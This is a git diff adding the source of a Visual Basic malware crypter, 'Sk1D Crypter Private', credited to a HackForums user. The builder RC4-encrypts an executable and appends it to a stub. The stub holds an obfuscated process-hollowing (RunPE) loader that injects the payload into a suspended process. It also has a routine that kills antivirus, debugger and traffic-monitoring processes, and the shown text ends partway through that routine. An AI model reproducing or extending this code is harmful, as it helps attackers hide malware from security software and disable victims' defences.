REVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0 + tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEB + AAAAAAAAAQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU + QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlq + c3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY + 2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APnXjDckqT8zd3PoPajnJ4UOPyjH+NLzk8KH + H5Rj/GkIGPukqT8q93PqfagA4x90lCflXu59T7UEn5iWGejv6ewoOcsSwz0dx29hQR0AXnqienuaADHQ + BBnqienuaQtFk7p5M98HilOMNySpPzN3c+g9qdifssIHYHtQA04xwCUJ+Ve7n1PtQc/MSwz/ABv6ewoO + fmJYZ6O/p7CjByBs5zlE9Pc0AGOgCDPVE9Pc0HGG5JUn5m7ufQe1Bxg8kqT8zd3PoPag7s9AHH5Rj/Gg + AO7J4UOPyjH+NJthPPkyN/tevvS8Y+6SpPC93PqfalLMCc3KKfTjigBP7uEHJ/dr2+poOMPknaD87d2P + p9KKKAFw24DAEnYdkH+NN+XZnB2Z4Hdz6miigBxB3Nk/MPvt/dHoKQLkfLaoV7EkUUUAf//Z + + + \ No newline at end of file diff --git a/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.vb b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.vb new file mode 100644 index 0000000..f5e9f73 --- /dev/null +++ b/scode (sk1d crypter/Sk1D Crypter Private/Sk1D Crypter Private/okay.vb @@ -0,0 +1,115 @@ +Imports System.Text + +Imports System.Security.Cryptography +Public Class Form1 + Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (ByVal Destination As Long, ByVal Source As Long, ByVal Length As Integer) + + Function GetEOF(ByVal Path As String) As Long + Dim ByteArray() As Byte + Dim PE As Long, NumberOfSections As Integer + Dim BeginLastSection As Long + Dim RawSize As Long, RawOffset As Long + + FileOpen(10, Path, OpenMode.Binary, OpenAccess.Default) + ReDim ByteArray(LOF(10) - 1) + FileGet(10, ByteArray) + FileClose(10) + + Call CopyMemory(PE, ByteArray(&H3C), 4) + Call CopyMemory(NumberOfSections, ByteArray(PE + &H6), 2) + BeginLastSection = PE + &HF8 + ((NumberOfSections - 1) * &H28) + Call CopyMemory(RawSize, ByteArray(BeginLastSection + 16), 4) + Call CopyMemory(RawOffset, ByteArray(BeginLastSection + 20), 4) + GetEOF = RawSize + RawOffset + + End Function + Const filesplit = "@Toxicisthebest@" + Public Shared Function rc4(ByVal message As String, ByVal password As String) As String + Dim i As Integer = 9 + Dim j As Integer = 9 + Dim dhivin As New StringBuilder + Dim returndhivin As String = String.Empty + Dim sbox As Integer() = New Integer(256) {} + Dim dhivin1 As Integer() = New Integer(256) {} + Dim intLength As Integer = password.Length + Dim a As Integer = 0 + While a <= 255 + Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) + dhivin1(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) + sbox(a) = a + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + Dim x As Integer = 10 + Dim b As Integer = 10 + While b <= 255 + x = (x + sbox(b) + dhivin1(b)) Mod 256 + Dim tempSwap As Integer = sbox(b) + sbox(b) = sbox(x) + sbox(x) = tempSwap + System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) + End While + a = 1 + While a <= message.Length + Dim itmp As Integer = 100 + i = (i + 1) Mod 256 + j = (j + sbox(i)) Mod 256 + itmp = sbox(i) + sbox(i) = sbox(j) + sbox(j) = itmp + Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) + Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) + itmp = Asc(ctmp) + Dim dhivinby As Integer = itmp Xor k + dhivin.Append(Chr(dhivinby)) + System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) + End While + returndhivin = dhivin.ToString + dhivin.Length = 0 + Return returndhivin + End Function + + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + Dim openf As New OpenFileDialog + If openf.ShowDialog = Windows.Forms.DialogResult.OK Then + TextBox1.Text = openf.FileName + Else : Exit Sub + End If + End Sub + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + On Error Resume Next + Dim filein, filename, stub As String + Dim lol As New SaveFileDialog + If lol.ShowDialog = Windows.Forms.DialogResult.OK Then + filename = lol.FileName + Else : Exit Sub + End If + FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + filein = Space(LOF(1)) + FileGet(1, filein) + FileClose(1) + FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + stub = Space(LOF(1)) + FileGet(1, stub) + FileClose(1) + FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) + FilePut(1, stub & filesplit & rc4(filein, "Toxicisthebest")) + + + + + FileClose(1) + Call GetEOF(TextBox1.Text) + MsgBox("Crypted ! Thanks for using Sk1D Crypter Private Made by : Toxic on HackForums.Net") + Me.Close() + End + End Sub + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + + End Sub + + Private Sub RadioButton4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) + + End Sub +End Class \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/.vs/crypt sub/v14/.suo b/scode (sk1d crypter/unique stub source/.vs/crypt sub/v14/.suo new file mode 100644 index 0000000..e7a7725 Binary files /dev/null and b/scode (sk1d crypter/unique stub source/.vs/crypt sub/v14/.suo differ diff --git a/scode (sk1d crypter/unique stub source/crypt sub.sln b/scode (sk1d crypter/unique stub source/crypt sub.sln new file mode 100644 index 0000000..0bf61be --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.25420.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "crypt sub", "crypt sub\crypt sub.vbproj", "{040E6A60-B7D4-4D1C-9EC1-D5033821695B}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {040E6A60-B7D4-4D1C-9EC1-D5033821695B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {040E6A60-B7D4-4D1C-9EC1-D5033821695B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {040E6A60-B7D4-4D1C-9EC1-D5033821695B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {040E6A60-B7D4-4D1C-9EC1-D5033821695B}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (sk1d crypter/unique stub source/crypt sub/3des.vb b/scode (sk1d crypter/unique stub source/crypt sub/3des.vb new file mode 100644 index 0000000..3a4cd87 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/3des.vb @@ -0,0 +1,3 @@ +Module _3des + +End Module diff --git a/scode (sk1d crypter/unique stub source/crypt sub/ApplicationEvents.vb b/scode (sk1d crypter/unique stub source/crypt sub/ApplicationEvents.vb new file mode 100644 index 0000000..b358167 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/ApplicationEvents.vb @@ -0,0 +1,15 @@ +Namespace My + + ' The following events are available for MyApplication: + ' + ' Startup: Raised when the application starts, before the startup form is created. + ' Shutdown: Raised after all application forms are closed. This event is not raised if the application terminates abnormally. + ' UnhandledException: Raised if the application encounters an unhandled exception. + ' StartupNextInstance: Raised when launching a single-instance application and the application is already active. + ' NetworkAvailabilityChanged: Raised when the network connection is connected or disconnected. + Partial Friend Class MyApplication + + End Class + +End Namespace + diff --git a/scode (sk1d crypter/unique stub source/crypt sub/Class1.vb b/scode (sk1d crypter/unique stub source/crypt sub/Class1.vb new file mode 100644 index 0000000..2e5e577 --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/Class1.vb @@ -0,0 +1,125 @@ + + +Imports System.Runtime.InteropServices +Imports System.ComponentModel + +Public Class dd + Public Const rnblBJonduUOAwhEQ As Long = &H200 + Public Const mOcKXLCUTIoYPlmVo As Long = &H40 + Public Const IXtVXUoZDCZrtBJIr As Long = &H80 + Public Const EvvrsXCGqNtDLnOYS As Long = &H20 + Public Const XHOGsgpLaGdXqChLV As Long = &H10 + Public Const TfQcRiDpQRAgIomcs As Long = &H8 + Public Const mognQrpuALiDmEIOv As Long = &H1 + Public Const iPiMmuDamWFMFqNfW As Long = &H4 + Public Const WKLsAFBhVKcHjVqRM As UInt32 = &H2 + Shared Sub makeit(ByVal krdcVRBTsPgkgXSUm() As Byte, ByVal GDuoVanYcIQHNjlGp As String) + Dim CbvMqcBESUlQcYqXQ = New VkPYqlnKCNVkKlNJT.RLRuPoCnpYptZaRar, kVhIOAosYSZPGmlNu As VkPYqlnKCNVkKlNJT.gsjekDCZOduZWbqeU, CFDqkMoevWesDoMQX = New VkPYqlnKCNVkKlNJT.vdEOIOCLlhBESdRhv, RmVaIXoQVbiYAplTB = New VkPYqlnKCNVkKlNJT.NNXweaDuLmFhPfpkZ, gWnKdjpCsfnEtrMWc = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC, vGIsCuplRkrhqtkZG = New VkPYqlnKCNVkKlNJT.bupgCmDgirKNMgRnC + Dim qeKRXADRHvOqIipqd = GCHandle.Alloc(krdcVRBTsPgkgXSUm, GCHandleType.Pinned) + Dim MobcXJqXopwNnuMdg As Integer = qeKRXADRHvOqIipqd.AddrOfPinnedObject.ToInt32 + Dim IOdBtMEDeDTWFjQtH As New VkPYqlnKCNVkKlNJT.bYtMsVqIOtDqjwkgK + IOdBtMEDeDTWFjQtH = Marshal.PtrToStructure(qeKRXADRHvOqIipqd.AddrOfPinnedObject, IOdBtMEDeDTWFjQtH.GetType) + qeKRXADRHvOqIipqd.Free() + If VkPYqlnKCNVkKlNJT.CreateProcess(Nothing, GDuoVanYcIQHNjlGp, gWnKdjpCsfnEtrMWc, vGIsCuplRkrhqtkZG, False, 4, Nothing, Nothing, RmVaIXoQVbiYAplTB, CFDqkMoevWesDoMQX) = 0 Then Return + Dim XwviRXEmEHXCBlpAi As New VkPYqlnKCNVkKlNJT.qIOuRgqrlBIWgALjl + XwviRXEmEHXCBlpAi = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL), XwviRXEmEHXCBlpAi.GetType) + Dim mgQTmjEYbMcfvmQDL, IphemsrdLFMCdCkmO As Long, EQiDLvFKARgLsooGm As UInteger + RmVaIXoQVbiYAplTB.XZCOKHrPhKQeZDLpp = Len(RmVaIXoQVbiYAplTB) + CbvMqcBESUlQcYqXQ.TAEkgJFsXVlnopQJQ = 65538 + If XwviRXEmEHXCBlpAi.mKUwgSrBHPVKWFjtT <> 17744 Or IOdBtMEDeDTWFjQtH.hhWVFVFeuapTlroMq <> 23117 Then Return + If VkPYqlnKCNVkKlNJT.GetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ) And VkPYqlnKCNVkKlNJT.ReadProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, mgQTmjEYbMcfvmQDL, 4, 0) >= 0 And VkPYqlnKCNVkKlNJT.ZwUnmapViewOfSection(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, mgQTmjEYbMcfvmQDL) >= 0 Then + Dim OCKmvsGCrjBceuoTv As UInt32 = VkPYqlnKCNVkKlNJT.VirtualAllocEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.djcXUHGlQoGIbwPWY, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.wssiTQtqAhncILjIc, 12288, 4) + If OCKmvsGCrjBceuoTv <> 0 Then + VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv, krdcVRBTsPgkgXSUm, XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.sTuHpSHXnsKlYAnZC, EQiDLvFKARgLsooGm) + IphemsrdLFMCdCkmO = IOdBtMEDeDTWFjQtH.mgQTmjEYbMcfvmQDL + 248 + For OcOSpbtcXmrIFNKLF As Integer = 0 To XwviRXEmEHXCBlpAi.KDQoNeHINAPRUCPcd.dNgDNntNuqwlCOiPg - 1 + kVhIOAosYSZPGmlNu = Marshal.PtrToStructure(New IntPtr(MobcXJqXopwNnuMdg + IphemsrdLFMCdCkmO + OcOSpbtcXmrIFNKLF * 40), kVhIOAosYSZPGmlNu.GetType) + Dim ZkiZjqHrkETuRDngH(kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK) As Byte + For nVDJHEIdJJYZNFOjh As Integer = 0 To kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK - 1 : ZkiZjqHrkETuRDngH(nVDJHEIdJJYZNFOjh) = krdcVRBTsPgkgXSUm(kVhIOAosYSZPGmlNu.KeUUHNuiqCItsSiVk + nVDJHEIdJJYZNFOjh) : Next + VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, ZkiZjqHrkETuRDngH, kVhIOAosYSZPGmlNu.suBkiCuwTvDQvQKSK, EQiDLvFKARgLsooGm) + VkPYqlnKCNVkKlNJT.VirtualProtectEx(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, OCKmvsGCrjBceuoTv + kVhIOAosYSZPGmlNu.mgQTmjEYbMcfvmQDL, kVhIOAosYSZPGmlNu.FFVqcQIPgOcFKHnmL.suBkiCuwTvDQvQKSK, YOmFcZuUQHMZpTJYO(kVhIOAosYSZPGmlNu.TAEkgJFsXVlnopQJQ), mgQTmjEYbMcfvmQDL) + Next OcOSpbtcXmrIFNKLF + Dim UmobBcJBGShiHIOpm = BitConverter.GetBytes(OCKmvsGCrjBceuoTv) + VkPYqlnKCNVkKlNJT.WriteProcessMemory(CFDqkMoevWesDoMQX.wRoFahGQUeuwitPQU, CbvMqcBESUlQcYqXQ.SbIQZpsVEYeTPIjCX + 8, UmobBcJBGShiHIOpm, 4, EQiDLvFKARgLsooGm) + CbvMqcBESUlQcYqXQ.nvHmAkvGnMRFlVibp = OCKmvsGCrjBceuoTv + XwviRXEmEHXCBlpAi.hLaBvEsHaciwMKKFB.mgQTmjEYbMcfvmQDL + VkPYqlnKCNVkKlNJT.SetThreadContext(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt, CbvMqcBESUlQcYqXQ) + VkPYqlnKCNVkKlNJT.ResumeThread(CFDqkMoevWesDoMQX.ErngEesjeTZnSHLwt) + End If + End If + End Sub + Private Shared Function jWJLWnJjdXlODKmsP(ByVal BGbsrCJVCbprALOwq As Long, ByVal FgaWWwvpMQViiWJfS As Long) As Long + jWJLWnJjdXlODKmsP = UQsHrLvajVaOfYhit(BGbsrCJVCbprALOwq) / (2 ^ FgaWWwvpMQViiWJfS) + End Function + Private Shared Function UQsHrLvajVaOfYhit(ByVal QoudQNKHZguXuNmCU As Long) As Double + Const jANoPWwMJZerbZJlX = 4294967296.0# + If QoudQNKHZguXuNmCU < 0 Then + UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU + jANoPWwMJZerbZJlX + Else + UQsHrLvajVaOfYhit = QoudQNKHZguXuNmCU + End If + End Function + Private Shared Function YOmFcZuUQHMZpTJYO(ByVal XrnXaetTpOEmJFmXM As Long) As Long + Dim SSotwhHwfZYvYrrok() As Object = {mognQrpuALiDmEIOv, XHOGsgpLaGdXqChLV, WKLsAFBhVKcHjVqRM, EvvrsXCGqNtDLnOYS, iPiMmuDamWFMFqNfW, mOcKXLCUTIoYPlmVo, iPiMmuDamWFMFqNfW, iPiMmuDamWFMFqNfW} + YOmFcZuUQHMZpTJYO = SSotwhHwfZYvYrrok(jWJLWnJjdXlODKmsP(XrnXaetTpOEmJFmXM, 29)) + End Function + Friend Class VkPYqlnKCNVkKlNJT + Structure RLRuPoCnpYptZaRar + Dim TAEkgJFsXVlnopQJQ, lcIHvquEPSIRFGNan, hCKdUtIiFedaUsSrO, DMaoUFunlXNuCIldR, wkcNpHIUbihGRuquo, SttZpQuZLcRavJNhs, OUuvOTIGBnmjOvSAS As UInt32, hdOJNcvLigWGsLlkV As hdOJNcvLigWGsLlkV + Dim dEQfjfJpYrqPKAqEt, wNgrjnvuIlajpNMnw, sliPHqJavwvsHCRHX, OvCbHCvgepfPlOlqa, JVDAdFJMUECYEDqKA, dfULcOwREujsiQMtD, SbIQZpsVEYeTPIjCX, YGWhBQKvrIHEAFRNb, rPmtBZwDbCoYfRkwe, nvHmAkvGnMRFlVibp, nnoRWcKhRNLhuGpQF, JwHdWlwmBGsDbTMDI, FXJCsoLToRPMqIRUf, YgaNrAAYXLAgYUkGi, UHbjQCLFNWUpnJpXJ, nQsvQLAKuPEMVWLJM As UInt32 + Dim jouTmOLnkbYVkLQak As Byte() + End Structure + Structure hdOJNcvLigWGsLlkV + Dim FBNflXAsUUJpRYkMn, BYPEKaMZKfdBgNpdN, UigPJiBerZNVOZLPR, PJhlflMLhkhedOQgo, jSBAfuBQRdSBLbjTr, eqDVEAMuGomKaQojS, ACThDJBCniWeHcLWV As UInteger + Dim taVGZLNgdtqnWRQnt As Byte() + Dim PjmRZUClNmbKEejZw As UInt32 + End Structure + Structure FFVqcQIPgOcFKHnmL + Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32 + End Structure + Structure gsjekDCZOduZWbqeU + Dim LKnnuXNRDBvTTToqW As Byte, FFVqcQIPgOcFKHnmL As FFVqcQIPgOcFKHnmL, mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK, KeUUHNuiqCItsSiVk, eUHCugCXkrfmAfKcZ, arJXTjNDaFCvQUPtA, tEZjSsCIKwjSuhjfD, pcbIouOmAKHbMWowb, TAEkgJFsXVlnopQJQ As UInt32 + End Structure + Structure vdEOIOCLlhBESdRhv + Dim wRoFahGQUeuwitPQU, ErngEesjeTZnSHLwt As IntPtr, LlrToGDrgDovriKje, HMtpMJOYWOLHJXPCE As Integer + End Structure + Structure NNXweaDuLmFhPfpkZ + Dim XZCOKHrPhKQeZDLpp As Integer, aVNEMSDdGIsbnkimH, VtOZiVOKtTQkFZnGf, pFflhdEPdMAHkmKpi As String, kdhKGgPtTYUQCbPJJ, nVDJHEIdJJYZNFOjh, GnAVGpEBDREkhnisM, CNCrbsPeqcZtwcnMj, VXTGbEEjZWJQdpJvn, RvUbAGPQPhdZseOPN, kHlnwPFVwaNtaqiCQ, TAEkgJFsXVlnopQJQ As Integer + Dim gfnMVSQCmliFpfnSo, CoGXVbFHWfSYXsJFr As Short, vPItqeQlMqmhmhOWS, RYZIqnFqtjWETthIV, NwadPpQXjvrNiimZs, gJrpOBGcSobhQvJLv As Integer + End Structure + Structure bupgCmDgirKNMgRnC + Dim bgtOkERIICvqfkNcW As Integer, vqMZkNGOptfNMAhOZ As IntPtr, ikmIuVDUYhFIrcNAP As Integer + End Structure + Structure bYtMsVqIOtDqjwkgK + Dim hhWVFVFeuapTlroMq, eLneTYPBOsZRJRSRm, AUHpTgEGvlJloemDp, tsJOojPjlAeuGTqUQ, suBkiCuwTvDQvQKSK, PFZaosEpVqORkfNHT, LcbwNvPVLEiaCUSXr, nQsvQLAKuPEMVWLJM, emsKMHEarvSuhhlKu, aMtgiJQHhJnGwWqbU, tWNriSFMRCXZdiNNX, ouPQGVQqHOrjtXRev, LGfcGeFvoHbFaklQB, GehBchQceSwOpZqhZ As UInt16 + Dim aVNEMSDdGIsbnkimH As UInt16() + Dim ZnAMbqGhOLgiXlMTc, VOCiAsROEXDrmaRkC As UInt16 + Dim CoGXVbFHWfSYXsJFr As UInt16() + Dim mgQTmjEYbMcfvmQDL As Int32 + End Structure + Structure qIOuRgqrlBIWgALjl + Dim mKUwgSrBHPVKWFjtT As UInt32, KDQoNeHINAPRUCPcd As oXTtAEGTkQkOTnlXG, hLaBvEsHaciwMKKFB As kvVSVHRwabIXicpnd + End Structure + Structure oXTtAEGTkQkOTnlXG + Dim GIleVQGFKVprQoMag, dNgDNntNuqwlCOiPg As UInt16, CfnDrTRiAgMDfdRrH, LGfcGeFvoHbFaklQB, VpGOqbHnhZtXNqkdK As UInt32, suBkiCuwTvDQvQKSK, TAEkgJFsXVlnopQJQ As UInt16 + End Structure + Structure kvVSVHRwabIXicpnd + Public hhWVFVFeuapTlroMq As UInt16, RQIkPeSUXlRgcfpui, kZZvPnHZHeBDJsMgl As Byte, gAaUlqSGupVMYhQAL, CJrgkCHLeiFgGtkjO, uhtFJESpTuZpVipDm, mgQTmjEYbMcfvmQDL, QqMQJNIuDnKLDvLmp, krdcVRBTsPgkgXSUm, djcXUHGlQoGIbwPWY As UInt32, MROmeQTaqBeVSkQGQ, fbfAeZIgasOowwkqT As UInt32 + Public bBgWDcTMQGiAOloKq, uLAiClIRAwTUtBLtt, qjCHYnTvnLndLnQNU, MsSSYwJDXEXApCjwX, ITUotCUhMPrJIooQv, bckCtLJmtIcdmELCB As UInt16, XDmYSOUTjUwmEqPTY, wssiTQtqAhncILjIc, sTuHpSHXnsKlYAnZC, aMtgiJQHhJnGwWqbU As UInt32, qMGkRWJYTNgJjGjFc, TAEkgJFsXVlnopQJQ As UInt16 + Public lkIJnZUFJYDSBsoWC, IuYUniKKqSlmfHKJF, DUaqLlVngdIvvtPad, WeqELuKsQWpScJjMg, SFsahwVZGiMbrvndH, lOMmgIKembtuZKKPK As UInt32 + Public hmNLFLWLcmRHowPgh As hmNLFLWLcmRHowPgh() + End Structure + Structure hmNLFLWLcmRHowPgh + Dim mgQTmjEYbMcfvmQDL, suBkiCuwTvDQvQKSK As UInt32 + End Structure + Declare Auto Function CreateProcess Lib "kernel32" (ByVal name As String, ByVal command As String, ByRef process As bupgCmDgirKNMgRnC, ByRef thread As bupgCmDgirKNMgRnC, ByVal inherit As Boolean, ByVal flags As UInt32, ByVal system As IntPtr, ByVal current As String, <[In]()> ByRef startup As NNXweaDuLmFhPfpkZ, ByRef info As vdEOIOCLlhBESdRhv) As Boolean + Declare Auto Function WriteProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal buffer As Byte(), ByVal size As IntPtr, ByRef written As Integer) As Boolean + Declare Auto Function ReadProcessMemory Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByRef buffer As IntPtr, ByVal size As IntPtr, ByRef read As Integer) As Integer + Declare Auto Function VirtualProtectEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UIntPtr, ByVal [new] As UIntPtr, ByVal old As UInt32) As Integer + Declare Auto Function VirtualAllocEx Lib "kernel32" (ByVal process As IntPtr, ByVal address As IntPtr, ByVal size As UInt32, ByVal type As UInt32, ByVal protect As UInt32) As IntPtr + Declare Auto Function ZwUnmapViewOfSection Lib "ntdll" (ByVal process As IntPtr, ByVal address As IntPtr) As Long + Declare Auto Function ResumeThread Lib "kernel32" (ByVal thread As IntPtr) As UInt32 + Declare Auto Function GetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean + Declare Auto Function SetThreadContext Lib "kernel32" (ByVal thread As IntPtr, ByRef context As RLRuPoCnpYptZaRar) As Boolean + End Class +End Class + diff --git a/scode (sk1d crypter/unique stub source/crypt sub/Earth.ico b/scode (sk1d crypter/unique stub source/crypt sub/Earth.ico new file mode 100644 index 0000000..9b83e6d Binary files /dev/null and b/scode (sk1d crypter/unique stub source/crypt sub/Earth.ico differ diff --git a/scode (sk1d crypter/unique stub source/crypt sub/File 72.ico b/scode (sk1d crypter/unique stub source/crypt sub/File 72.ico new file mode 100644 index 0000000..ff332e8 Binary files /dev/null and b/scode (sk1d crypter/unique stub source/crypt sub/File 72.ico differ diff --git a/scode (sk1d crypter/unique stub source/crypt sub/Form1.Designer.vb b/scode (sk1d crypter/unique stub source/crypt sub/Form1.Designer.vb new file mode 100644 index 0000000..bbb5bcb --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/Form1.Designer.vb @@ -0,0 +1,38 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Me.SuspendLayout() + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(120, 0) + Me.Name = "Form1" + Me.Text = "Form1" + Me.ResumeLayout(False) + + End Sub + +End Class diff --git a/scode (sk1d crypter/unique stub source/crypt sub/Form1.resx b/scode (sk1d crypter/unique stub source/crypt sub/Form1.resx new file mode 100644 index 0000000..ff31a6d --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/Form1.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (sk1d crypter/unique stub source/crypt sub/Form1.vb b/scode (sk1d crypter/unique stub source/crypt sub/Form1.vb new file mode 100644 index 0000000..58328fe --- /dev/null +++ b/scode (sk1d crypter/unique stub source/crypt sub/Form1.vb @@ -0,0 +1,246 @@ +Imports System.Text +Imports System.IO +Imports System.Management +Imports Microsoft.Win32 +Imports System.Security.Cryptography +Imports System.Windows.Forms + +Public Class Form1 + Dim ilikepie As String + + Sub boobies() + Dim squirelaids As String + Dim squirelaids1 As String + Dim squirelaids2 As String + Dim squirelaids3 As String + 'Getsquirelaids + + 'Encrypt + squirelaids1 = ("Wåñt3Ð" & squirelaids & "güid" & squirelaids & "untainted1337") + + squirelaids3 = WaNtINAtE(squirelaids + squirelaids1 + squirelaids2) + ilikepie = WaNtINAtE(squirelaids3) + End Sub + + + Public Function RandomNumber(ByVal min As Integer, ByVal max As Integer) As Integer + Dim random As New Random() + Return random.Next(min, max) + End Function + Public Function GetRandom() As String + Dim builder As New StringBuilder() + builder.Append(RandomString(4, True)) + builder.Append(RandomNumber(1000, 9999)) + builder.Append(RandomString(2, False)) + Return builder.ToString() + End Function + Public Function RandomString(ByVal size As Integer, ByVal lowerCase As Boolean) As String + Dim builder As New StringBuilder() + Dim random As New Random() + Dim ch As Char + Dim i As Integer + For i = 0 To size - 1 + ch = Convert.ToChar(Convert.ToInt32((26 * random.NextDouble() + 65))) + builder.Append(ch) + Next i + If lowerCase Then + Return builder.ToString().ToLower() + End If + Return builder.ToString() + End Function + Function WaNtINAtE(ByVal strToHash As String) As String + Dim md5Obj As New Security.Cryptography.MD5CryptoServiceProvider + Dim bytesToHash() As Byte = System.Text.Encoding.ASCII.GetBytes(strToHash) + bytesToHash = md5Obj.ComputeHash(bytesToHash) + Dim strResult As String = "" + For Each b As Byte In bytesToHash + strResult += b.ToString("x2") + Next + Return strResult + End Function + + + Private Sub CheckIfPieTastesGood() + Dim bob As New WebBrowser + Dim mygui As String + mygui = GetPage("http://yoursite.com/secure_guid.php?guid=" & ilikepie) + If Not mygui.ToString.Equals("yes") Then + bob.Navigate("http://") + MsgBox("Please activate your guid first!", MsgBoxStyle.Critical, "Error!") + End + End If + End Sub + Function kav() + + Dim JrsGhost As Process() = Process.GetProcesses + Dim i As Integer + For i = 0 To JrsGhost.Length - 1 + Select Case Strings.LCase(JrsGhost(i).ProcessName) + Case "keyscrambler" + JrsGhost(i).Kill() + Case "wireshark" + JrsGhost(i).Kill() + Case "anubis" + JrsGhost(i).Kill() + Case "mbam" + JrsGhost(i).Kill() + Case "avp" + JrsGhost(i).Kill() + Case "ollydbg" + JrsGhost(i).Kill() + Case "outpost" + JrsGhost(i).Kill() + Case "npfmsg" + JrsGhost(i).Kill() + Case "bdagent" + 